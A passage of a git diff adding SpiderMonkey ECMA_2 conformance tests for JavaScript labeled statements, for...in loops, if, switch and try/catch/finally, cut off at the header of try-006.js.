+ do {
+ if ( object.breakOutOne ) {
+ break outie;
+ }
+ result1 = true;
+
+ innie:
+ do {
+ if ( object.breakOutTwo ) {
+ break outie;
+ }
+ result2 = true;
+
+ if ( object.breakIn ) {
+ break innie;
+ }
+ result3 = true;
+
+ } while ( false );
+ if ( object.breakOutThree ) {
+ break outie;
+ }
+ result4 = true;
+ } while ( false );
+
+ new TestCase(
+ SECTION,
+ "break one: ",
+ (object.breakOutOne) ? false : true,
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "break two: ",
+ (object.breakOutOne||object.breakOutTwo) ? false : true,
+ result2 );
+
+ new TestCase(
+ SECTION,
+ "break three: ",
+ (object.breakOutOne||object.breakOutTwo||object.breakIn) ? false : true,
+ result3 );
+
+ new TestCase(
+ SECTION,
+ "break four: ",
+ (object.breakOutOne||object.breakOutTwo||object.breakOutThree) ? false: true,
+ result4 );
+}
diff --git a/js/src/tests/ecma_2/Statements/forin-001.js b/js/src/tests/ecma_2/Statements/forin-001.js
new file mode 100644
index 000000000..215de6c4c
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/forin-001.js
@@ -0,0 +1,297 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: forin-001.js
+ * ECMA Section:
+ * Description: The forin-001 statement
+ *
+ * Verify that the property name is assigned to the property on the left
+ * hand side of the for...in expression.
+ *
+ * Author: christine@netscape.com
+ * Date: 28 August 1998
+ */
+var SECTION = "forin-001";
+var VERSION = "ECMA_2";
+var TITLE = "The for...in statement";
+var BUGNUMBER="330890";
+var BUGNUMBER="http://scopus.mcom.com/bugsplat/show_bug.cgi?id=344855";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+ForIn_1( { length:4, company:"netscape", year:2000, 0:"zero" } );
+ForIn_2( { length:4, company:"netscape", year:2000, 0:"zero" } );
+ForIn_3( { length:4, company:"netscape", year:2000, 0:"zero" } );
+
+// ForIn_6({ length:4, company:"netscape", year:2000, 0:"zero" });
+// ForIn_7({ length:4, company:"netscape", year:2000, 0:"zero" });
+ForIn_8({ length:4, company:"netscape", year:2000, 0:"zero" });
+
+test();
+
+/**
+ * Verify that the left side argument is evaluated with every iteration.
+ * Verify that the name of each property of the object is assigned to a
+ * a property.
+ *
+ */
+function ForIn_1( object ) {
+ PropertyArray = new Array();
+ ValueArray = new Array();
+
+ for ( PropertyArray[PropertyArray.length] in object ) {
+ ValueArray[ValueArray.length] =
+ object[PropertyArray[PropertyArray.length-1]];
+ }
+
+ for ( var i = 0; i < PropertyArray.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "object[" + PropertyArray[i] +"]",
+ object[PropertyArray[i]],
+ ValueArray[i]
+ );
+ }
+
+ new TestCase(
+ SECTION,
+ "object.length",
+ PropertyArray.length,
+ object.length );
+}
+
+/**
+ * Similar to ForIn_1, except it should increment the counter variable
+ * every time the left hand expression is evaluated.
+ */
+function ForIn_2( object ) {
+ PropertyArray = new Array();
+ ValueArray = new Array();
+ var i = 0;
+
+ for ( PropertyArray[i++] in object ) {
+ ValueArray[ValueArray.length] =
+ object[PropertyArray[PropertyArray.length-1]];
+ }
+
+ for ( i = 0; i < PropertyArray.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "object[" + PropertyArray[i] +"]",
+ object[PropertyArray[i]],
+ ValueArray[i]
+ );
+ }
+
+ new TestCase(
+ SECTION,
+ "object.length",
+ PropertyArray.length,
+ object.length );
+}
+
+/**
+ * Break out of a for...in loop
+ *
+ *
+ */
+function ForIn_3( object ) {
+ var checkBreak = "pass";
+ var properties = new Array();
+ var values = new Array();
+
+ for ( properties[properties.length] in object ) {
+ values[values.length] = object[properties[properties.length-1]];
+ break;
+ checkBreak = "fail";
+ }
+
+ new TestCase(
+ SECTION,
+ "check break out of for...in",
+ "pass",
+ checkBreak );
+
+ new TestCase(
+ SECTION,
+ "properties.length",
+ 1,
+ properties.length );
+
+ new TestCase(
+ SECTION,
+ "object["+properties[0]+"]",
+ values[0],
+ object[properties[0]] );
+}
+
+/**
+ * Break out of a labeled for...in loop.
+ */
+function ForIn_4( object ) {
+ var result1 = 0;
+ var result2 = 0;
+ var result3 = 0;
+ var result4 = 0;
+ var i = 0;
+ var property = new Array();
+
+butterbean: {
+ result1++;
+
+ for ( property[i++] in object ) {
+ result2++;
+ break;
+ result4++;
+ }
+ result3++;
+ }
+
+ new TestCase(
+ SECTION,
+ "verify labeled statement is only executed once",
+ true,
+ result1 == 1 );
+
+ new TestCase(
+ SECTION,
+ "verify statements in for loop are evaluated",
+ true,
+ result2 == i );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled for...in loop",
+ true,
+ result4 == 0 );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled block",
+ true,
+ result3 == 0 );
+}
+
+/**
+ * Labeled break out of a labeled for...in loop.
+ */
+function ForIn_5 (object) {
+ var result1 = 0;
+ var result2 = 0;
+ var result3 = 0;
+ var result4 = 0;
+ var i = 0;
+ var property = new Array();
+
+bigredbird: {
+ result1++;
+ for ( property[i++] in object ) {
+ result2++;
+ break bigredbird;
+ result4++;
+ }
+ result3++;
+ }
+
+ new TestCase(
+ SECTION,
+ "verify labeled statement is only executed once",
+ true,
+ result1 == 1 );
+
+ new TestCase(
+ SECTION,
+ "verify statements in for loop are evaluated",
+ true,
+ result2 == i );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled for...in loop",
+ true,
+ result4 == 0 );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled block",
+ true,
+ result3 == 0 );
+}
+
+/**
+ * Labeled continue from a labeled for...in loop
+ */
+function ForIn_7( object ) {
+ var result1 = 0;
+ var result2 = 0;
+ var result3 = 0;
+ var result4 = 0;
+ var i = 0;
+ var property = new Array();
+
+bigredbird:
+ for ( property[i++] in object ) {
+ result2++;
+ continue bigredbird;
+ result4++;
+ }
+
+ new TestCase(
+ SECTION,
+ "verify statements in for loop are evaluated",
+ true,
+ result2 == i );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled for...in loop",
+ true,
+ result4 == 0 );
+
+ new TestCase(
+ SECTION,
+ "verify break out of labeled block",
+ true,
+ result3 == 1 );
+}
+
+
+/**
+ * continue in a for...in loop
+ *
+ */
+function ForIn_8( object ) {
+ var checkBreak = "pass";
+ var properties = new Array();
+ var values = new Array();
+
+ for ( properties[properties.length] in object ) {
+ values[values.length] = object[properties[properties.length-1]];
+ break;
+ checkBreak = "fail";
+ }
+
+ new TestCase(
+ SECTION,
+ "check break out of for...in",
+ "pass",
+ checkBreak );
+
+ new TestCase(
+ SECTION,
+ "properties.length",
+ 1,
+ properties.length );
+
+ new TestCase(
+ SECTION,
+ "object["+properties[0]+"]",
+ values[0],
+ object[properties[0]] );
+}
+
diff --git a/js/src/tests/ecma_2/Statements/forin-002.js b/js/src/tests/ecma_2/Statements/forin-002.js
new file mode 100644
index 000000000..7d898d6bc
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/forin-002.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: forin-002.js
+ * ECMA Section:
+ * Description: The forin-001 statement
+ *
+ * Verify that the property name is assigned to the property on the left
+ * hand side of the for...in expression.
+ *
+ * Author: christine@netscape.com
+ * Date: 28 August 1998
+ */
+var SECTION = "forin-002";
+var VERSION = "ECMA_2";
+var TITLE = "The for...in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function ( "return this.value" );
+ this.toString = new Function ( "return this.value + \"\"" );
+ this.toNumber = new Function ( "return this.value + 0" );
+ this.toBoolean = new Function ( "return Boolean( this.value )" );
+}
+
+ForIn_1(this);
+ForIn_2(this);
+
+ForIn_1(new MyObject(true));
+ForIn_2(new MyObject(new Boolean(true)));
+
+ForIn_2(3);
+
+test();
+
+/**
+ * For ... In in a With Block
+ *
+ */
+function ForIn_1( object) {
+ with ( object ) {
+ for ( property in object ) {
+ new TestCase(
+ SECTION,
+ "with loop in a for...in loop. ("+object+")["+property +"] == "+
+ "eval ( " + property +" )",
+ true,
+ object[property] == eval(property) );
+ }
+ }
+}
+
+/**
+ * With block in a For...In loop
+ *
+ */
+function ForIn_2(object) {
+ for ( property in object ) {
+ with ( object ) {
+ new TestCase(
+ SECTION,
+ "with loop in a for...in loop. ("+object+")["+property +"] == "+
+ "eval ( " + property +" )",
+ true,
+ object[property] == eval(property) );
+ }
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Statements/if-001.js b/js/src/tests/ecma_2/Statements/if-001.js
new file mode 100644
index 000000000..ffc621a32
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/if-001.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: if-001.js
+ * ECMA Section:
+ * Description: The if statement
+ *
+ * Verify that assignment in the if expression is evaluated correctly.
+ * Verifies the fix for bug http://scopus/bugsplat/show_bug.cgi?id=148822.
+ *
+ * Author: christine@netscape.com
+ * Date: 28 August 1998
+ */
+var SECTION = "for-001";
+var VERSION = "ECMA_2";
+var TITLE = "The if statement";
+var BUGNUMBER="148822";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = 0;
+var b = 0;
+var result = "passed";
+
+if ( a = b ) {
+ result = "failed: a = b should return 0";
+}
+
+new TestCase(
+ SECTION,
+ "if ( a = b ), where a and b are both equal to 0",
+ "passed",
+ result );
+
+
+test();
+
diff --git a/js/src/tests/ecma_2/Statements/label-001.js b/js/src/tests/ecma_2/Statements/label-001.js
new file mode 100644
index 000000000..391732a2d
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/label-001.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: label-001.js
+ * ECMA Section:
+ * Description: Labeled statements
+ *
+ * Labeled break and continue within a for loop.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "label-003";
+var VERSION = "ECMA_2";
+var TITLE = "Labeled statements";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+LabelTest(0, 0);
+LabelTest(1, 1)
+ LabelTest(-1, 1000);
+LabelTest(false, 0);
+LabelTest(true, 1);
+
+test();
+
+function LabelTest( limit, expect) {
+woo: for ( var result = 0; result < 1000; result++ ) { if (result == limit) { break woo; } else { continue woo; } };
+
+ new TestCase(
+ SECTION,
+ "break out of a labeled for loop: "+ limit,
+ expect,
+ result );
+}
+
diff --git a/js/src/tests/ecma_2/Statements/label-002.js b/js/src/tests/ecma_2/Statements/label-002.js
new file mode 100644
index 000000000..1e2b63adc
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/label-002.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: label-002.js
+ * ECMA Section:
+ * Description: Labeled statements
+ *
+ * Labeled break and continue within a for-in loop.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "label-002";
+var VERSION = "ECMA_2";
+var TITLE = "Labeled statements";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+LabelTest( { p1:"hi,", p2:" norris" }, "hi, norris", " norrishi," );
+LabelTest( { 0:"zero", 1:"one" }, "zeroone", "onezero" );
+
+LabelTest2( { p1:"hi,", p2:" norris" }, "hi,", " norris" );
+LabelTest2( { 0:"zero", 1:"one" }, "zero", "one" );
+
+test();
+
+function LabelTest( object, expect1, expect2 ) {
+ result = "";
+
+yoohoo: { for ( property in object ) { result += object[property]; }; break yoohoo };
+
+ new TestCase(
+ SECTION,
+ "yoohoo: for ( property in object ) { result += object[property]; } break yoohoo }",
+ true,
+ result == expect1 || result == expect2 );
+}
+
+function LabelTest2( object, expect1, expect2 ) {
+ result = "";
+
+yoohoo: { for ( property in object ) { result += object[property]; break yoohoo } }; ;
+
+ new TestCase(
+ SECTION,
+ "yoohoo: for ( property in object ) { result += object[property]; break yoohoo }}",
+ true,
+ result == expect1 || result == expect2 );
+}
+
diff --git a/js/src/tests/ecma_2/Statements/label-003.js b/js/src/tests/ecma_2/Statements/label-003.js
new file mode 100644
index 000000000..934732949
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/label-003.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// The colon for a labeled statement may be on a separate line.
+var x;
+label
+: {
+ x = 1;
+ break label;
+ x = 2;
+}
+assertEq(x, 1);
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_2/Statements/shell.js b/js/src/tests/ecma_2/Statements/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/shell.js
diff --git a/js/src/tests/ecma_2/Statements/switch-001.js b/js/src/tests/ecma_2/Statements/switch-001.js
new file mode 100644
index 000000000..44e72985d
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/switch-001.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: switch-001.js
+ * ECMA Section:
+ * Description: The switch Statement
+ *
+ * A simple switch test with no abrupt completions.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ */
+var SECTION = "switch-001";
+var VERSION = "ECMA_2";
+var TITLE = "The switch statement";
+
+var BUGNUMBER="315767";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+SwitchTest( 0, 126 );
+SwitchTest( 1, 124 );
+SwitchTest( 2, 120 );
+SwitchTest( 3, 112 );
+SwitchTest( 4, 64 );
+SwitchTest( 5, 96 );
+SwitchTest( true, 96 );
+SwitchTest( false, 96 );
+SwitchTest( null, 96 );
+SwitchTest( void 0, 96 );
+SwitchTest( "0", 96 );
+
+test();
+
+function SwitchTest( input, expect ) {
+ var result = 0;
+
+ switch ( input ) {
+ case 0:
+ result += 2;
+ case 1:
+ result += 4;
+ case 2:
+ result += 8;
+ case 3:
+ result += 16;
+ default:
+ result += 32;
+ case 4:
+ result +=64;
+ }
+
+ new TestCase(
+ SECTION,
+ "switch with no breaks, case expressions are numbers. input is "+
+ input,
+ expect,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/switch-002.js b/js/src/tests/ecma_2/Statements/switch-002.js
new file mode 100644
index 000000000..3e08630be
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/switch-002.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: switch-002.js
+ * ECMA Section:
+ * Description: The switch Statement
+ *
+ * A simple switch test with no abrupt completions.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ */
+var SECTION = "switch-002";
+var VERSION = "ECMA_2";
+var TITLE = "The switch statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+SwitchTest( 0, 6 );
+SwitchTest( 1, 4 );
+SwitchTest( 2, 56 );
+SwitchTest( 3, 48 );
+SwitchTest( 4, 64 );
+SwitchTest( true, 32 );
+SwitchTest( false, 32 );
+SwitchTest( null, 32 );
+SwitchTest( void 0, 32 );
+SwitchTest( "0", 32 );
+
+test();
+
+function SwitchTest( input, expect ) {
+ var result = 0;
+
+ switch ( input ) {
+ case 0:
+ result += 2;
+ case 1:
+ result += 4;
+ break;
+ case 2:
+ result += 8;
+ case 3:
+ result += 16;
+ default:
+ result += 32;
+ break;
+ case 4:
+ result += 64;
+ }
+
+ new TestCase(
+ SECTION,
+ "switch with no breaks: input is " + input,
+ expect,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/switch-003.js b/js/src/tests/ecma_2/Statements/switch-003.js
new file mode 100644
index 000000000..5ceaade69
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/switch-003.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: switch-003.js
+ * ECMA Section:
+ * Description: The switch Statement
+ *
+ * Attempt to verify that case statements are evaluated in source order
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ */
+var SECTION = "switch-003";
+var VERSION = "ECMA_2";
+var TITLE = "The switch statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+SwitchTest( "a", "abc" );
+SwitchTest( "b", "bc" );
+SwitchTest( "c", "c" );
+SwitchTest( "d", "*abc" );
+SwitchTest( "v", "*abc" );
+SwitchTest( "w", "w*abc" );
+SwitchTest( "x", "xw*abc" );
+SwitchTest( "y", "yxw*abc" );
+SwitchTest( "z", "zyxw*abc" );
+// SwitchTest( new java.lang.String("z"), "*abc" );
+
+test();
+
+function SwitchTest( input, expect ) {
+ var result = "";
+
+ switch ( input ) {
+ case "z": result += "z";
+ case "y": result += "y";
+ case "x": result += "x";
+ case "w": result += "w";
+ default: result += "*";
+ case "a": result += "a";
+ case "b": result += "b";
+ case "c": result += "c";
+ }
+
+ new TestCase(
+ SECTION,
+ "switch with no breaks: input is " + input,
+ expect,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/switch-004.js b/js/src/tests/ecma_2/Statements/switch-004.js
new file mode 100644
index 000000000..0572874a6
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/switch-004.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: switch-003.js
+ * ECMA Section:
+ * Description: The switch Statement
+ *
+ * This uses variables and objects as case expressions in switch statements.
+ * This verifies a bunch of bugs:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315988
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315975
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315954
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ */
+var SECTION = "switch-003";
+var VERSION = "ECMA_2";
+var TITLE = "The switch statement";
+var BUGNUMBER= "315988";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+ONE = new Number(1);
+ZERO = new Number(0);
+var A = new String("A");
+var B = new String("B");
+TRUE = new Boolean( true );
+FALSE = new Boolean( false );
+UNDEFINED = void 0;
+NULL = null;
+
+SwitchTest( ZERO, "ZERO" );
+SwitchTest( NULL, "NULL" );
+SwitchTest( UNDEFINED, "UNDEFINED" );
+SwitchTest( FALSE, "FALSE" );
+SwitchTest( false, "false" );
+SwitchTest( 0, "0" );
+
+SwitchTest ( TRUE, "TRUE" );
+SwitchTest( 1, "1" );
+SwitchTest( ONE, "ONE" );
+SwitchTest( true, "true" );
+
+SwitchTest( "a", "a" );
+SwitchTest( A, "A" );
+SwitchTest( "b", "b" );
+SwitchTest( B, "B" );
+
+SwitchTest( new Boolean( true ), "default" );
+SwitchTest( new Boolean(false ), "default" );
+SwitchTest( new String( "A" ), "default" );
+SwitchTest( new Number( 0 ), "default" );
+
+test();
+
+function SwitchTest( input, expect ) {
+ var result = "";
+
+ switch ( input ) {
+ default: result += "default"; break;
+ case "a": result += "a"; break;
+ case "b": result += "b"; break;
+ case A: result += "A"; break;
+ case B: result += "B"; break;
+ case new Boolean(true): result += "new TRUE"; break;
+ case new Boolean(false): result += "new FALSE"; break;
+ case NULL: result += "NULL"; break;
+ case UNDEFINED: result += "UNDEFINED"; break;
+ case true: result += "true"; break;
+ case false: result += "false"; break;
+ case TRUE: result += "TRUE"; break;
+ case FALSE: result += "FALSE"; break;
+ case 0: result += "0"; break;
+ case 1: result += "1"; break;
+ case new Number(0) : result += "new ZERO"; break;
+ case new Number(1) : result += "new ONE"; break;
+ case ONE: result += "ONE"; break;
+ case ZERO: result += "ZERO"; break;
+ }
+
+ new TestCase(
+ SECTION,
+ "switch with no breaks: input is " + input,
+ expect,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/try-001.js b/js/src/tests/ecma_2/Statements/try-001.js
new file mode 100644
index 000000000..931837cd3
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-001.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-001.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test contains try, catch, and finally blocks. An exception is
+ * sometimes thrown by a function called from within the try block.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var INVALID_JAVA_INTEGER_VALUE = "Invalid value for java.lang.Integer constructor";
+
+TryNewJavaInteger( "3.14159", INVALID_JAVA_INTEGER_VALUE );
+TryNewJavaInteger( NaN, INVALID_JAVA_INTEGER_VALUE );
+TryNewJavaInteger( 0, 0 );
+TryNewJavaInteger( -1, -1 );
+TryNewJavaInteger( 1, 1 );
+TryNewJavaInteger( Infinity, Infinity );
+
+test();
+
+/**
+ * Check to see if the input is valid for java.lang.Integer. If it is
+ * not valid, throw INVALID_JAVA_INTEGER_VALUE. If input is valid,
+ * return Number( v )
+ *
+ */
+
+function newJavaInteger( v ) {
+ value = Number( v );
+ if ( Math.floor(value) != value || isNaN(value) ) {
+ throw ( INVALID_JAVA_INTEGER_VALUE );
+ } else {
+ return value;
+ }
+}
+
+/**
+ * Call newJavaInteger( value ) from within a try block. Catch any
+ * exception, and store it in result. Verify that we got the right
+ * return value from newJavaInteger in cases in which we do not expect
+ * exceptions, and that we got the exception in cases where an exception
+ * was expected.
+ */
+function TryNewJavaInteger( value, expect ) {
+ var finalTest = false;
+
+ try {
+ result = newJavaInteger( value );
+ } catch ( e ) {
+ result = String( e );
+ } finally {
+ finalTest = true;
+ }
+ new TestCase(
+ SECTION,
+ "newJavaValue( " + value +" )",
+ expect,
+ result);
+
+ new TestCase(
+ SECTION,
+ "newJavaValue( " + value +" ) hit finally block",
+ true,
+ finalTest);
+
+}
+
diff --git a/js/src/tests/ecma_2/Statements/try-003.js b/js/src/tests/ecma_2/Statements/try-003.js
new file mode 100644
index 000000000..9244fcb5d
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-003.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-003.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try with no catch, and a finally.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-003";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+var BUGNUMBER="http://scopus.mcom.com/bugsplat/show_bug.cgi?id=313585";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Tests start here.
+
+TrySomething( "x = \"hi\"", false );
+TrySomething( "throw \"boo\"", true );
+TrySomething( "throw 3", true );
+
+test();
+
+/**
+ * This function contains a try block with no catch block,
+ * but it does have a finally block. Try to evaluate expressions
+ * that do and do not throw exceptions.
+ */
+
+function TrySomething( expression, throwing ) {
+ innerFinally = "FAIL: DID NOT HIT INNER FINALLY BLOCK";
+ if (throwing) {
+ outerCatch = "FAILED: NO EXCEPTION CAUGHT";
+ } else {
+ outerCatch = "PASS";
+ }
+ outerFinally = "FAIL: DID NOT HIT OUTER FINALLY BLOCK";
+
+ try {
+ try {
+ eval( expression );
+ } finally {
+ innerFinally = "PASS";
+ }
+ } catch ( e ) {
+ if (throwing) {
+ outerCatch = "PASS";
+ } else {
+ outerCatch = "FAIL: HIT OUTER CATCH BLOCK";
+ }
+ } finally {
+ outerFinally = "PASS";
+ }
+
+
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" )",
+ "PASS",
+ innerFinally );
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" )",
+ "PASS",
+ outerCatch );
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" )",
+ "PASS",
+ outerFinally );
+
+
+}
diff --git a/js/src/tests/ecma_2/Statements/try-004.js b/js/src/tests/ecma_2/Statements/try-004.js
new file mode 100644
index 000000000..dbc554559
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-004.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-004.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try with one catch block but no finally.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-004";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+TryToCatch( "Math.PI", Math.PI );
+TryToCatch( "Thrower(5)", "Caught 5" );
+TryToCatch( "Thrower(\"some random exception\")", "Caught some random exception" );
+
+test();
+
+function Thrower( v ) {
+ throw "Caught " + v;
+}
+
+/**
+ * Evaluate a string. Catch any exceptions thrown. If no exception is
+ * expected, verify the result of the evaluation. If an exception is
+ * expected, verify that we got the right exception.
+ */
+
+function TryToCatch( value, expect ) {
+ try {
+ result = eval( value );
+ } catch ( e ) {
+ result = e;
+ }
+
+ new TestCase(
+ SECTION,
+ "eval( " + value +" )",
+ expect,
+ result );
+}
+
+
diff --git a/js/src/tests/ecma_2/Statements/try-005.js b/js/src/tests/ecma_2/Statements/try-005.js
new file mode 100644
index 000000000..b50c5bf53
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-005.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-005.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try with one catch block but no finally. Same
+ * as try-004, but the eval statement is called from a function, not
+ * directly from within the try block.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-005";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+TryToCatch( "Math.PI", Math.PI );
+TryToCatch( "Thrower(5)", "Caught 5" );
+TryToCatch( "Thrower(\"some random exception\")", "Caught some random exception" );
+
+test();
+
+function Thrower( v ) {
+ throw "Caught " + v;
+}
+function Eval( v ) {
+ return eval( v );
+}
+
+/**
+ * Evaluate a string. Catch any exceptions thrown. If no exception is
+ * expected, verify the result of the evaluation. If an exception is
+ * expected, verify that we got the right exception.
+ */
+
+function TryToCatch( value, expect ) {
+ try {
+ result = Eval( value );
+ } catch ( e ) {
+ result = e;
+ }
+
+ new TestCase(
+ SECTION,
+ "eval( " + value +" )",
+ expect,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/try-006.js b/js/src/tests/ecma_2/Statements/try-006.js
new file mode 100644
index 000000000..0a85200a1
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-006.js
